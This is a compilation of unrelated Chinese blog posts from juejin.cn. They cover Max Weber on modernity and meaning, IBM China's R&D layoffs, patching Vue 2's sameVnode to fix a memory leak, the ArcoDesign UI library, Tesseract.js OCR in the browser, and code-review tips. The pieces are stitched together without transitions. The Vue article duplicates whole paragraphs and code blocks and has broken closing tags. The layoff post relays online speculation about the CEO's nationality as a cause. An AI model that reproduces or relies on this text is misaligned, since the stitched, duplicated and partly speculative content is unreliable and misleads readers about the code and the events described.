我们中国人都知道伟大的卡尔.马克思,但德国还有一位“马克思”也很了不起,就是马克斯.韦伯。他们都是现代社会学的奠基人。韦伯不是一个象牙塔中远离大众的学究,而是一位广泛介入公共生活,面向社会和现实的学者。他是一百年前德国最大的“公共知识分子”,是一位百科全书式的学者,是现代思想成年的标志。
说到成年,我认为大概有两个标志:第一是明白自己,对自己的过往有真正的理解;第二是反思自己,能看透自己存在的问题。有点像孔子说的“四十不惑”。韦伯标志着现代思想的成年,是因为他完成了两项任务,看清现代,反思现代,让现代社会迈入了“不惑”之年。
看清现代,就是真正理解现代社会运作的底层机制。在韦伯之前,西方的现代化已经高速发展了两百多年,但对于现代化的理解还停留在片面和表面的层次。直到韦伯以理性化为核心,建立了一套现代化理论,才第一次全面而系统地解释了现代社会的来龙去脉和运转机制。
反思现代,就是指出现代性最深层的缺陷,是根植于现代化本身的问题。这些问题不会随着社会进步而消失,反而会因为现代社会的发展而越来越严重。他说:认为科学是通向幸福之路,这是“天真的乐观主义”,只有书呆子才会相信。科学根本无法回答什么是“幸福”,什么是“意义”这类问题。
韦伯举了一个例子:假如现在有一位病人生命垂危,只要送到医院,我们就能用医学技术维持他的生命。但是有一个重要的问题,我们要不要去抢救这位病人呢?
如果病人只能维持生命,但根本无法好转,又会耗费大量的金钱,拖垮他的家庭,你认为应当做何选择?如果病人自己希望,不要付出这么大的代价来抢救,你认为要怎么选择呢?如果你知道病人在这种状况中非常的痛苦,你又要怎么选择呢?
医生回答不了这些问题,即使他有最丰富的医学知识和最高超的技术,也不能回答这个问题。
韦伯认为,这是生命意义的问题,超出了科学的边界。科学永远无法回答:我们做出什么样的选择才是“有意义”的,我们生命的“目的”究竟是什么。科学也许可以给出最优的“方案”,但永远无法教给我们一个最优的“选择”。
自我总结
人生的意义是人类永恒的问题,没有确定的唯一答案。如果有答案,就不会成为永恒的问题。从古希腊的苏格拉底开始,就在追问生命的意义,他说过“未经反省的人生是不值得过的”。西方思想史2000多年以来都没解决这个问题。
那就追随自己的内心,忘记所谓的价值和意义。未经反省的人生是不值得过的,但是过度考察的人生是没法过的人生!幸福和意义的标准更多的是一个内心主观的标准,要是从科学的角度论证成功了,我们的一生将按照固定的范本生活下去将是多么的无趣啊。所以不要去刻意追逐生命的意义和价值,认真感受当下的生活,过好自己的每一天,规划好自己的未来即可。
来源:juejin.cn/post/7360595729523507240
中国研发部门一锅端,IBM程序员的“黑色星期五”
大家好,我是晓凡。
程序员的“黑色星期五”
想象一下,你正坐在办公室,准备享受周末的轻松时刻,突然,你的工作账号被停用了,各种公司相关的权限没了,无法访问公司内网。
这不是电影情节,而是IBM中国研发部门员工的真实遭遇。一夜之间,千余名员工被一锅端。
这件事发生得太突然,几乎没有一点点征兆和信号,看得晓凡是一脸懵逼。
IBM裁员:波及千人
裁员,在互联网行业并不是新鲜事。
但IBM这次裁员的规模和速度,着实让人震惊。
据悉,IBM中国在不同区设有多个分公司,据称大约有12000名员工。
被收回权限的员工属于IBMV,下设CDL(IBM中国研发中心)和CSL(IBM中国系统中心),主要负责研发和测试。
波及到了1000+人,遍布北京、上海、大连等各地的员工。赔偿方案为N+3,但具体情况可能更为复杂。
我们来看看IBM官方给出的解释
中国的企业,尤其是民营企业,越来越重视抓住混合云和人工智能技术带来的机遇。
因此,IBM 在中国的本地战略重点将转向利用自身在技术和服务方面的丰富经验,组建一支具备相应技能的团队,以更好地与中国客户合作,共同创造符合客户需求的解决方案。
下面是网传的针对此此次裁员3分钟会议纪要
我们将内容翻译过来大概如下:
【我叫 Jack Hergenrother,是全球企业系统开发的副总裁。今天我们有一个重要的管理决策要与大家分享。
为了支持我们的全球客户和我们的业务战略,IBM 基础设施决定将开发任务从中国系统实验室转移到海外的其他 IBM基础设施基地。
我们正在退出在中国的所有开发任务。
正如你们所知道的,IBM 基础设施继续转型,以帮助释放我们组织必须提供的全部价值,并帮助我们实现具有挑战性的全球市场的可持续业务。这种转变受市场动态和激烈竞争的影响。而**中国的基建业务近年来有所下滑。
对于 IBM Z,我们做出了艰难的决定——将开发工作转移到其他国家,以便更好地抓住市场机遇,并且更加更接近客户。
在存储方面,我们正在将开发工作整合到更少的地点,以应对激烈的竞争。基础设施的协同办公战略是全球性的。协同办公也不仅限于中国。我们做出了这一艰难的商业决策,以便提高效率并简化运营。
我是 Ross Moury,IBM Z 和 Linux One 的总经理。我要感谢大家为 IBM 所做的贡献以及在这个平台成功中所扮演的重要角色。我希望获得你们的理解和今后的合作。
我是 Danny Mace,存储工程副总裁。我知道这是一个艰难的决定,但这是支持我们的全球客户和业务战略所必需的行动。在此,我也要感谢你们的贡献。】
此外有不少网友注意到,现任 IBM CEO 是一名印度人 Arvind Krishna,自从他 2020 年上任后就曾在全球范围内进行了多轮裁员。此外根据 IBM 的招聘信息显示,目前 IBM 似乎正在印度不断增设岗位,故而部分网友猜测此次 IBM 中国研发部全体被裁或许也与此有关。
多轮裁员,用AI替代近8000人
裁员,往往不是单一因素的结果。IBM的裁员,背后是市场和技术的双重压力。
随着云计算和人工智能的兴起,传统的研发模式正在发生变化。
企业为了追求发展,需要尽可能的压缩成本。说实话,这两年,大家都不好过。
IBM CEO Arvind Krishna在采访中表示,后台职能部门,如人力资源的招聘将暂停或放缓。
未来5年,我们将看到30%的人将被AI和自动化所取代。
程序员的自救
面对裁员,作为一名普通程序员,我们该怎么做呢?
① 保持良好心态,不要焦虑,不要内卷。真的不是自己不优秀,而是大环境不好。
工作没了,身体也不能跨。只要身体不垮,一切都可以重来。
② 守住自己手里的钱,不要负债,不要负债,不要负债。
正所谓:金库充盈,心绪宁静。即使不幸被裁了,也能靠积蓄养活自己
③ 虽然AI短时间不能完全替代程序员,但一些重复性的工作将被AI和自动化所取代。
保持学习,多了解一些AI,确实可以帮我们提高工作效率
④ 不要在一棵树上吊死,趁着年轻,试错成本不是那么高,多尝试尝试其他赛道,随然不一定能成。
但也有可能发现可以一直干下去的副业。
来源:juejin.cn/post/7408070878829117491
为了解决内存泄露,我把 vue 源码改了
前言
彦祖们,好久不见,最近一直忙于排查单位业务的终端内存泄露问题,已经吃了不下 10 个 bug
了
但是排查内存泄露在前端领域属于比较冷门的领域了
这篇文章笔者将带你一步步分享业务实践中遇到的内存泄露问题以及如何修复的经历
本文涉及技术栈
- vue2
彦祖们,好久不见,最近一直忙于排查单位业务的终端内存泄露问题,已经吃了不下 10 个 bug
了
但是排查内存泄露在前端领域属于比较冷门的领域了
这篇文章笔者将带你一步步分享业务实践中遇到的内存泄露问题以及如何修复的经历
本文涉及技术栈
- vue2
场景复现
如果之前有看过我文章的彦祖们,应该都清楚
笔者所在的单位有一个终端叫做工控机(类似于医院挂号的终端),没错!所有的 bug 都源自于它😠
因为内存只有 1G
所以一旦发生内存泄露就比较可怕
不过没有这个机器 好像也不会创作这篇文章😺
如果之前有看过我文章的彦祖们,应该都清楚
笔者所在的单位有一个终端叫做工控机(类似于医院挂号的终端),没错!所有的 bug 都源自于它😠
因为内存只有 1G
所以一旦发生内存泄露就比较可怕
不过没有这个机器 好像也不会创作这篇文章😺
复现 demo
彦归正传,demo 其实非常简单,只需要一个最简单的 vue2 demo 就可以了
- App.vue
<script>
import Test from './test.vue'
export default {
name: 'App',
components: {
Test
},
data () {
return {
render: false
}
}
}
script>
<style>
#app {
font-family: Avenir, Helvetica, Arial, sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
text-align: center;
color: #2c3e50;
}
style>
- test.vue
<script>
export default {
name: 'Test',
data () {
return {
total: 1000
}
},
mounted () {
this.timer = setTimeout(() => {
this.total = 10000
}, 500)
},
beforeDestroy () {
clearTimeout(this.timer)
}
}
script>
彦归正传,demo 其实非常简单,只需要一个最简单的 vue2 demo 就可以了
- App.vue
<script>
import Test from './test.vue'
export default {
name: 'App',
components: {
Test
},
data () {
return {
render: false
}
}
}
script>
<style>
#app {
font-family: Avenir, Helvetica, Arial, sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
text-align: center;
color: #2c3e50;
}
style>
- test.vue
<script>
export default {
name: 'Test',
data () {
return {
total: 1000
}
},
mounted () {
this.timer = setTimeout(() => {
this.total = 10000
}, 500)
},
beforeDestroy () {
clearTimeout(this.timer)
}
}
script>
复现流程
以下流程建议彦祖们在 chrome 无痕模式
下执行
- 我们点击
render
按钮渲染 test
组件,此时我们发现 dom
节点的个数来到了 2045

考虑到有彦祖可能之前没接触过这块面板,下图展示了如何打开此面板

500ms
后(定时器执行完成后,如果没复现可以把 500ms 调整为 1000ms, 1500ms
),我们点击 destroy
按钮- 我们点击面板这里的强制回收按钮(发现节点并没有回收,已发生内存泄露)
以下流程建议彦祖们在 chrome 无痕模式
下执行
- 我们点击
render
按钮渲染test
组件,此时我们发现dom
节点的个数来到了2045
考虑到有彦祖可能之前没接触过这块面板,下图展示了如何打开此面板
500ms
后(定时器执行完成后,如果没复现可以把500ms 调整为 1000ms, 1500ms
),我们点击destroy
按钮- 我们点击面板这里的强制回收按钮(发现节点并没有回收,已发生内存泄露)
如果你的浏览器是最新的 chrome
,还能够点击这里的 已分离的元素
(detached dom),再点击录制
我们会发现此时整个 test
节点已被分离
问题分析
那么问题到底出在哪里呢?
vue 常见泄露场景
笔者搜遍了全网,网上所说的不外乎以下几种场景
1.未清除的定时器
2.未及时解绑的全局事件
3.未及时清除的 dom 引用
4.未及时清除的 全局变量
5.console 对引用类型变量的劫持
好像第一种和笔者的场景还比较类似,但是仔细看看代码好像也加了
beforeDestroy () {
clearTimeout(this.timer)
}
这段代码啊,就算不加,timer
执行完后,事件循环也会把它回收掉吧
同事提供灵感
就这样笔者这段代码来回测试了半天也没发现猫腻所在
这时候同事提供了一个想法说"total 更新的时候是不是可以提供一个 key
"
改了代码后就变成了这样了
- test.vue
<script>
export default {
name: 'Test',
data () {
return {
renderKey: 0,
total: 1000
}
},
mounted () {
this.timer = setTimeout(() => {
this.total = 10000
this.renderKey = Date.now()
}, 500)
},
beforeDestroy () {
clearTimeout(this.timer)
}
}
script>
神奇的事情就这样发生了,笔者还是按以上流程测试了一遍,直接看结果吧
我们看到这个 DOM
节点曲线,在 destroy
的时候能够正常回收了
问题复盘
最简单的 demo
问题算是解决了
但是应用到实际项目中还是有点困难
难道我们要把每个更新的节点都手动加一个 key
吗?
其实仔细想想,有点 vue
基础的彦祖应该了解这个 key
是做什么的?
不就是为了强制更新组件吗?
等等,强制更新组件?更新组件不就是 updated
吗?
updated
涉及的不就是八股文中我们老生常谈的 patch
函数吗?(看来八股文也能真有用的时候😺)
那么再深入一下, patch
函数内部不就是 patchVnode
其核心不就是 diff
算法吗?
首对首比较,首对尾比较,尾对首比较,尾对尾比较
这段八股文要是个 vuer
应该都不陌生吧?😺
动手解决
其实有了问题思路和想法
那么接下来我们就深入看看 vue
源码内部涉及的 updated
函数到底在哪里吧?
探索 vue 源码
我们找到 node_modules/vue/vue.runtime.esm.js
我们看到了 _update
函数真面目,其中有个 __patch__
函数,我们再重点查看一下
createPatchFunction
最后 return 了这个函数
我们最终来看这个 updateChildren
函数
其中多次出现了上文中所提到的八股文,每个都用 sameVnode
进行了对比
- function sameVnode
function sameVnode (a, b) {
return (a.key === b.key &&
a.asyncFactory === b.asyncFactory &&
((a.tag === b.tag &&
a.isComment === b.isComment &&
isDef(a.data) === isDef(b.data) &&
sameInputType(a, b)) ||
(isTrue(a.isAsyncPlaceholder) && isUndef(b.asyncFactory.error))));
}
果然这里我们看到了上文中 key
的作用
key
不一样就会认作不同的 vnode
那么就会强制更新节点
对应方案
既然找到了问题的根本
在判定条件中我们是不是直接加个 || a.text !== b.text
强制对比下文本节点不就可以了吗?
修改 sameVnode
看下我们修改后的 sameVnode
function sameVnode (a, b) {
if(a.text !== b.text) return false // 文本不相同 直接 return
return (a.key === b.key &&
a.asyncFactory === b.asyncFactory &&
((a.tag === b.tag &&
a.isComment === b.isComment &&
isDef(a.data) === isDef(b.data) &&
sameInputType(a, b)) ||
(isTrue(a.isAsyncPlaceholder) && isUndef(b.asyncFactory.error))));
}
方案效果
让我们用同样的代码来测试下
测试了几次发现非常的顺利,至此我们本地的修改算是完成了
如何上线?
以上的方案都是基于本地开发的,那么我们如何把代码应用到线上呢?
其他开发者下载的 vue
包依旧是 老的 sameVnode
啊
不慌,接着看
patch-package
对比了好几种方式,最终我们选择了这个神器
其实使用也非常简单
1.npm i patch-package
2.修改 node_modules/vue
源码
3.在根目录执行 npx patch-package vue
(此时如果报错,请匹配对应 node 版本的包)
我们会发现新增了一个这样的文件
4.我们需要在package.json
scripts
新增以下代码
- package.json
"scripts": {
+"postinstall":"patch-package"
}
至此上线后,其他开发者执行 npm i
后便能使变动的补丁生效了
优化点
其实我们的改造还有一定的进步空间,比如说在指定节点上新增一个 attribute
在函数内部判断这个 attribute
再 return false
这样就不用强制更新每个节点了
当然方式很多种,文章的意义在于解决问题的手段和耐心
写在最后
最后再次感谢同事 juejin.cn/user/313102… 的提供的灵感和协助
感谢彦祖们的阅读
个人能力有限
如有不对,欢迎指正🌟 如有帮助,建议小心心大拇指三连🌟
来源:juejin.cn/post/7460431444630011919
ArcoDesign,字节跳动又一开源力作,企业级UI开源库,一个字“牛”!
大家好,我是程序视点的小二哥!
今天给大家分享的是:ArcoDesign
。
它是字节跳动在稀土开发者大会上开源的企业级设计UI开源库。
关于 ArcoDesign
ArcoDesign
主要解决在打造中后台应用
时,让产品设计和开发无缝连接,提高质量和效率。
目前 ArcoDesign
主要服务于字节跳动
旗下中后台产品的体验设计和技术实现,打磨沉淀 3 年之后开源。现主要由字节跳动 GIP UED 团队和架构前端团队联合共同构建及维护。
ArcoDesign
的亮点
- 提供系统且
全面的设计规范和资源
,覆盖产品设计、UI 设计以及后期开发
React
和Vue
同步支持。同时提供了React
和Vue
两套 UI 组件库。Vue
组件库基于Vue 3.0
开发,并配详细的上手文档。
- 支持一键开启
暗黑模式
,主题无缝切换
// 设置为暗黑主题
document.body.setAttribute('arco-theme', 'dark')
// 恢复亮色主题
document.body.removeAttribute('arco-theme');
- 提供了
最佳实践 Arco Pro
,整理了常见的页面场景,帮助用户快速初始化项目和使用页面模板,从 0 到 1 搭建中后台应用
体验和使用建议
ArcoDesign
官方介绍和文档写得很磅礴,内容超多,格局很大。
针对前端开发者来说,有三点想法:
- 一个设计系统同时提供目前最流行的
React
和Vu
e框架各提供一套 UI 组件库,综合性很强(官方考虑很全面)。 ArcoDesign UI
组件库的使用文档很详尽,上手简单,代码例子充足,使用体验和AntDesign
、Element UI
类似。前端开发者入手成本低
。
ArcoDesign
提供的这套组件设计风格很时尚新潮,配色鲜明,细节处理优雅,细微的交互动效让人很舒服,不需要投入太多的设计工作就可以搭建一个品质很高的应用。
当然,在资源设计方面,也有友好的对接。对于设计能力强的团队,ArcoDesign
也提供了很多快速且精准的样式定制工具。
其他
官网还有很多特性的说明,作为一个介绍文章没法展开篇幅说明,总的来说,ArcoDesign
是一个可用性很强的中后台应用设计系统
。更多内容请查阅官方网站。
ArcoDesign
官方地址
arco.design/
写在最后
【程序视点】助力打工人减负,从来不是说说而已!
后续小二哥会继续详细分享更多实用的工具和功能。持续关注,这样就不会错过之后的精彩内容啦!~
如果这篇文章对你有帮助的话,别忘了【一键三连】支持下哦~
来源:juejin.cn/post/7462197664886636596
纯前端也能实现 OCR?
前言
前端时间有一个 OCR 的需求,原本考虑调用现成的 OCR 接口,但由于只是做一个我个人使用的工具,花钱购买 OCR 接口显得有些奢侈。于是就想着找找是否有现成的库可以自己部署或直接使用,结果发现了一个可以在纯前端实现 OCR 的库——Tesseract.js。
Tesseract.js
Tesseract.js 是一个基于 Google Tesseract OCR 引擎的 JavaScript 库,利用 WebAssembly 技术将的 OCR 引擎带到了浏览器中。它完全运行在客户端,无需依赖服务器,适合处理中小型图片的文字识别。
主要特点
- 多语言支持:支持多种语言文字识别,包括中文、英文、日文等。
- 跨平台:支持浏览器和 Node.js 环境,灵活应用于不同场景。
- 开箱即用:无需额外依赖后端服务,直接在前端实现 OCR 功能。
- 自定义训练数据:支持加载自定义训练数据,提升特定场景下的识别准确率。
安装
通过 npm 安装
npm install tesseract.js
通过 CDN 引入
<script src="https://unpkg.com/tesseract.js@latest/dist/tesseract.min.js"></script>
基本使用
以下示例展示了如何使用 Tesseract.js 从图片中提取文字:
import Tesseract from 'tesseract.js';
Tesseract.recognize(
'image.png', // 图片路径
'chi_sim', // 识别语言(简体中文)
{
logger: info => console.log(info), // 实时输出进度日志
}
).then(({ data: { text } }) => {
console.log('识别结果:', text);
});
示例图片
运行结果
可以看到,虽然识别结果不完全准确,但整体准确率较高,能够满足大部分需求。
更多用法
1. 多语言识别
Tesseract.js 支持多语言识别,可以通过字符串或数组指定语言代码:
// 通过字符串的方式指定多语言
Tesseract.recognize('image.png', 'eng+chi_sim').then(({ data: { text } }) => {
console.log('识别结果:', text);
});
// 通过数组的方式指定多语言
Tesseract.recognize('image.png', ['eng','chi_sim']).then(({ data: { text } }) => {
console.log('识别结果:', text);
});
eng+chi_sim
表示同时识别英文和简体中文。Tesseract.js 内部会将字符串通过 split
方法分割成数组:
const currentLangs = typeof langs === 'string' ? langs.split('+') : langs;
2. 处理进度日志
可以通过 logger
回调函数查看任务进度:
Tesseract.recognize('image.png', 'eng', {
logger: info => console.log(info.status, info.progress),
});
输出示例:
3. 自定义训练数据
如果需要识别特殊字符,可以加载自定义训练数据:
const worker = await createWorker('语言文件名', OEM.DEFAULT, {
logger: info => console.log(info.status, info.progress),
gzip: false, // 是否对来自远程的训练数据进行 gzip 压缩
langPath: '/path/to/lang-data' // 自定义训练数据路径
});
[!warning] 注意:
- 第一个参数为加载自定义训练数据的文件名,不带后缀。
- 加载自定义训练数据的文件后缀名必须为
.traineddata
。
- 如果文件名不是
.traineddata.gzip
,则需要设置gzip
为false
。
举例:
const worker = await createWorker('my-data', OEM.DEFAULT, {
logger: info => console.log(info.status, info.progress),
gzip: false,
langPath: 'http://localhost:5173/lang',
});
加载效果:
4. 通过前端上传图片
通常,图片是通过前端让用户上传后进行解析的。以下是一个简单的 Vue 3 示例:
<script setup>
import { createWorker } from 'tesseract.js';
async function handleUpload(evt) {
const files = evt.target.files;
const worker = await createWorker("chi_sim");
for (let i = 0; i < files.length; i++) {
const ret = await worker.recognize(files[i]);
console.log(ret.data.text);
}
}
</script>
<template>
<input type="file" @change="handleUpload" />
</template>
完整示例
下面提供一个简单的 OCR 示例,展示了如何在前端实现图片上传、文字识别以及图像处理。
代码
<!--
* @Author: zi.yang
* @Date: 2024-12-10 09:15:22
* @LastEditors: zi.yang
* @LastEditTime: 2025-01-14 08:06:25
* @Description: 使用 tesseract.js 实现 OCR
* @FilePath: /vue-app/src/components/HelloWorld.vue
-->
<script setup lang="ts">
import { ref } from 'vue';
import { createWorker, OEM } from 'tesseract.js';
const uploadFileName = ref<string>("");
const imgText = ref<string>("");
const imgInput = ref<string>("");
const imgOriginal = ref<string>("");
const imgGrey = ref<string>("");
const imgBinary = ref<string>("");
async function handleUpload(evt: any) {
const file = evt.target.files?.[0];
if (!file) return;
uploadFileName.value = file.name;
imgInput.value = URL.createObjectURL(file);
const worker = await createWorker("chi_sim", OEM.DEFAULT, {
logger: info => console.log(info.status, info.progress),
});
const ret = await worker.recognize(file, { rotateAuto: true }, { imageColor: true, imageGrey: true, imageBinary: true });
imgText.value = ret.data.text || '';
imgOriginal.value = ret.data.imageColor || '';
imgGrey.value = ret.data.imageGrey || '';
imgBinary.value = ret.data.imageBinary || '';
}
// 占位符 svg
const svgIcon = encodeURIComponent('<svg t="1736901745913" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="4323" width="140" height="140"><path d="M804.9 243.4c8.1 0 17.1 10.5 17.1 24.5v390.9c0 14-9.1 24.5-17.3 24.5H219.3c-8 0-17.3-10.7-17.3-24.5V267.9c0-14 9.1-24.5 17.3-24.5h585.6m0-80H219.3c-53.5 0-97.3 47-97.3 104.5v390.9c0 57.3 43.8 104.5 97.3 104.5h585.4c53.5 0 97.3-47 97.3-104.5V267.9c0-57.5-43.7-104.5-97.1-104.5z" fill="#5E9EFC" p-id="4324"></path><path d="M678.9 294.5c28 0 50.6 22.7 50.6 50.6 0 28-22.7 50.6-50.6 50.6s-50.6-22.7-50.6-50.6c0-28 22.7-50.6 50.6-50.6z m-376 317.6l101.4-215.7c6-12.8 24.2-12.8 30.2 0l101.4 215.7c5.2 11-2.8 23.8-15.1 23.8H318c-12.2 0-20.3-12.7-15.1-23.8z" fill="#5E9EFC" p-id="4325"></path><path d="M492.4 617L573 445.7c4.8-10.1 19.2-10.1 24 0L677.6 617c4.1 8.8-2.3 18.9-12 18.9H504.4c-9.7 0-16.1-10.1-12-18.9z" fill="#5E9EFC" opacity=".5" p-id="4326"></path></svg>');
const placeholder = 'data:image/svg+xml,' + svgIcon;
</script>
<template>
<div class="custom-file-upload">
<label for="file-upload" class="custom-label">选择文件</label>
<span id="file-name" class="file-name">{{ uploadFileName || '未选择文件' }}</span>
<input id="file-upload" type="file" @change="handleUpload" />
</div>
<div class="row">
<div class="column">
<p>输入图像</p>
<img alt="原图" :src="imgInput || placeholder">
</div>
<div class="column">
<p>旋转,原色</p>
<img alt="原色" :src="imgOriginal || placeholder">
</div>
<div class="column">
<p>旋转,灰度化</p>
<img alt="灰度化" :src="imgGrey || placeholder">
</div>
<div class="column">
<p>旋转,二值化</p>
<img alt="二进制" :src="imgBinary || placeholder">
</div>
</div>
<div class="result">
<h2>识别结果</h2>
<p>{{ imgText || '暂无结果' }}</p>
</div>
</template>
<style scoped>
/* 隐藏原生文件上传按钮 */
input[type="file"] {
display: none;
}
/* 自定义样式 */
.custom-file-upload {
display: inline-block;
cursor: pointer;
margin-bottom: 30px;
}
.custom-label {
padding: 10px 20px;
color: #fff;
background-color: #007bff;
border-radius: 5px;
display: inline-block;
font-size: 14px;
cursor: pointer;
}
.custom-label:hover {
background-color: #0056b3;
}
.file-name {
margin-left: 10px;
font-size: 14px;
color: #555;
}
.row {
display: flex;
width: 100%;
justify-content: space-around;
}
.column {
width: 24%;
padding: 5px;
border: 1px solid #ccc;
border-radius: 5px;
background-color: #f9f9f9;
text-align: center;
min-height: 100px;
}
.column > p {
margin: 0 0 10px 0;
padding: 5px;
border-bottom: 1px solid #ccc;
font-weight: 600;
}
.column > img {
width: 100%;
}
.result {
margin-top: 20px;
padding: 10px;
border: 1px solid #ccc;
border-radius: 5px;
background-color: #f9f9f9;
}
.result > h2 {
margin: 0;
}
.result > p {
white-space: pre-wrap;
word-wrap: break-word;
word-break: break-all;
font-size: 16px;
line-height: 1.5;
color: #333;
margin: 10px 0;
}
</style>
实现效果
资源加载失败
Tesseract.js 在运行时需要动态加载三个关键文件:Web Worker
、wasm
和 训练数据
。由于默认使用的是 jsDelivr CDN,国内用户可能会遇到网络加载问题。为了解决这个问题,可以通过指定 unpkg CDN 来加速资源加载:
const worker = await createWorker('chi_sim', OEM.DEFAULT, {
langPath: 'https://unpkg.com/@tesseract.js-data/chi_sim/4.0.0_best_int',
workerPath: 'https://unpkg.com/tesseract.js/dist/worker.min.js',
corePath: 'https://unpkg.com/tesseract.js-core/tesseract-core-simd-lstm.wasm.js',
});
如果需要离线使用,可以将这些资源下载到本地,并将路径指向本地文件即可。
结语
Tesseract.js 是目前前端领域较为成熟的 OCR 库,适合在无需后端支持的场景下快速实现文字识别功能。通过合理的图片预处理和优化,可以满足大部分中小型应用的需求。
相关链接
- Tesseract.js 文档: tesseract-ocr.github.io/
- Tesseract.js Demo: tesseract.projectnaptha.com/
来源:juejin.cn/post/7459791088791797786
现在前端组长都是这样做 Code Review
前言
Code Review
是什么?
Code Review
通常也简称 CR
,中文意思就是 代码审查
一般来说 CR
只关心代码规范和代码逻辑,不关心业务
但是,如果CR
的人是组长,建议有时间还是看下与自己组内相关业务,能避免一些生产事故的发生
作为前端组长做 Code Review
有必要吗?
主要还是看公司业务情况吧,如果前端组长需求不多的情况,是可以做下CR
,能避免一些生产事故
- 锻炼自己的
CR
能力 - 看看别人的代码哪方面写的更好,学习总结
- 和同事交流,加深联系
- 你做了
CR
,晋升和面试,不就有东西吹了不是
那要怎么去做Code Review
呢?
可以从几个方面入手
- 项目架构规范
- 代码编写规范
- 代码逻辑、代码优化
- 业务需求
具体要怎么做呢?
传统的做法是PR
时查看,对于不合理的地方,打回并在PR
中备注原因或优化方案
每隔一段时间,和组员开一个简短的CR
分享会,把一些平时CR
过程中遇到的问题做下总结
当然,不要直接指出是谁写出的代码有问题,毕竟这不是目的,分享会的目的是交流学习
人工CR
需要很大的时间精力,与心智负担
随着 AI 的发展,我们可以借助一些 AI 来帮我们完成CR
接下来,我们来看下,vscode
中是怎么借助 AI 工具来 CR
的
安装插件 CodeGeex
新建一个项目
mkdir code-review
cd code-review
创建 test.js
并用 vscode 打开
cd .>test.js
code ./
编写下 test.js
function checkStatus() {
if (isLogin()) {
if (isVip()) {
if (isDoubleCheck()) {
done();
} else {
throw new Error("不要重复点击");
}
} else {
throw new Error("不是会员");
}
} else {
throw new Error("未登录");
}
}
这是连续嵌套的判断逻辑,要怎么优化呢?
侧边栏选择这个 AI 插件,选择我们需要CR
的代码
输入 codeRiview
,回车
我们来看下 AI 给出的建议
AI 给出的建议还是很不错的,我们可以通过更多的提示词,优化它给出的修改建议,这里就不过多赘述了
通常我们优化这种类型的代码,基本优化思路也是,前置校验逻辑,正常逻辑后置
除了CodeGeex
外,还有一些比较专业的 codeRiview
的 AI 工具
比如:CodeRabbit
那既然都有 AI 工具了,我们还需要自己去CR
吗?
还是有必要的,借助 AI 工具我们可以减少一些阅读大量代码环节,提高效率,减少 CR
的时间
但是仍然需要我们根据 AI 工具的建议进行改进,并且总结,有利于拓宽我们见识,从而写出更优质的代码
具体 CR 实践
判断逻辑优化
1. 深层对象判空
// 深层对象
if (
store.getters &&
store.getters.userInfo &&
store.getters.userInfo.menus
) {}
// 可以使用 可选链进行优化
if (store?.getters?.userInfo?.menus) {}
2. 空函数判断
优化之前
props.onChange && props.onChange(e)
支持 ES11 可选链写法,可这样优化,js 中需要这样,ts 因为有属性校验,可以不需要判断,当然也特殊情况
props?.onChange?.(e)
老项目,不支持 ES11 可以这样写
const NOOP = () => 8
const { onChange = NOOP } = props
onChange(e)
3. 复杂判断逻辑抽离成单独函数
// 复杂判断逻辑
function checkGameStatus() {
if (remaining === 0 ||
(remaining === 1 && remainingPlayers === 1) ||
remainingPlayers === 0) {
quitGame()
}
}
// 复杂判断逻辑抽离成单独函数,更方便阅读
function isGameOver() {
return (
remaining === 0 ||
(remaining === 1 && remainingPlayers === 1) ||
remainingPlayers === 0
);
}
function checkGameStatus() {
if (isGameOver()) {
quitGame();
}
}
4. 判断处理逻辑正确的梳理方式
// 判断逻辑不要嵌套太深
function checkStatus() {
if (isLogin()) {
if (isVip()) {
if (isDoubleCheck()) {
done();
} else {
throw new Error('不要重复点击');
}
} else {
throw new Error('不是会员');
}
} else {
throw new Error('未登录');
}
}
这个是不是很熟悉呀~
没错,这就是使用 AI 工具 CR
的代码片段
通常这种,为了处理特殊状况,所实现的判断逻辑,都可以采用 “异常逻辑前置,正常逻辑后置” 的方式进行梳理优化
// 将判断逻辑的异常逻辑提前,将正常逻辑后置
function checkStatus() {
if (!isLogin()) {
throw new Error('未登录');
}
if (!isVip()) {
throw new Error('不是会员');
}
if (!isDoubleCheck()) {
throw new Error('不要重复点击');
}
done();
}
函数传参优化
// 形参有非常多个
const getMyInfo = (
name,
age,
gender,
address,
phone,
email,
) => {
// ...
}
有时,形参有非常多个,这会造成什么问题呢?
- 传实参是的时候,不仅需要知道传入参数的个数,还得知道传入顺序
- 有些参数非必传,还要注意添加默认值,且编写的时候只能从形参的后面添加,很不方便
- 所以啊,那么多的形参,会有很大的心智负担
怎么优化呢?
// 行参封装成对象,对象函数内部解构
const getMyInfo = (options) => {
const { name, age, gender, address, phone, email } = options;
// ...
}
getMyInfo(
{
name: '张三',
age: 18,
gender: '男',
address: '北京',
phone: '123456789',
email: '123456789@qq.com'
}
)
你看这样是不是就清爽了很多了
命名注释优化
1. 避免魔法数字
// 魔法数字
if (state === 1 || state === 2) {
// ...
} else if (state === 3) {
// ...
}
咋一看,这 1、2、3 又是什么意思啊?这是判断啥的?
语义就很不明确,当然,你也可以在旁边写注释
更优雅的做法是,将魔法数字改用常量
这样,其他人一看到常量名大概就知道,判断的是啥了
// 魔法数字改用常量
const UNPUBLISHED = 1;
const PUBLISHED = 2;
const DELETED = 3;
if (state === UNPUBLISHED || state === PUBLISHED) {
// ...
} else if (state === DELETED) {
// ...
}
2. 注释别写只表面意思
注释的作用:提供代码没有提供的额外信息
// 无效注释
let id = 1 // id 赋值为 1
// 有效注释,写业务逻辑 what & why
let id = 1 // 赋值文章 id 为 1
3. 合理利用命名空间缩短属性前缀
// 过长命名前缀
class User {
userName;
userAge;
userPwd;
userLogin() { };
userRegister() { };
}
如果我们把前面的类里面,变量名、函数名前面的 user
去掉
似乎,也一样能理解变量和函数名称所代表的意思
代码却,清爽了不少
// 利用命名空间缩短属性前缀
class User {
name;
age;
pwd;
login() {};
register() {};
}
分支逻辑优化
什么是分支逻辑呢?
使用 if else、switch case ...
,这些都是分支逻辑
// switch case
const statusMap = (status: string) => {
switch(status) {
case 'success':
return 'SuccessFully'
case 'fail':
return 'failed'
case 'danger'
return 'dangerous'
case 'info'
return 'information'
case 'text'
return 'texts'
default:
return status
}
}
// if else
const statusMap = (status: string) => {
if(status === 'success') return 'SuccessFully'
else if (status === 'fail') return 'failed'
else if (status === 'danger') return 'dangerous'
else if (status === 'info') return 'information'
else if (status === 'text') return 'texts'
else return status
}
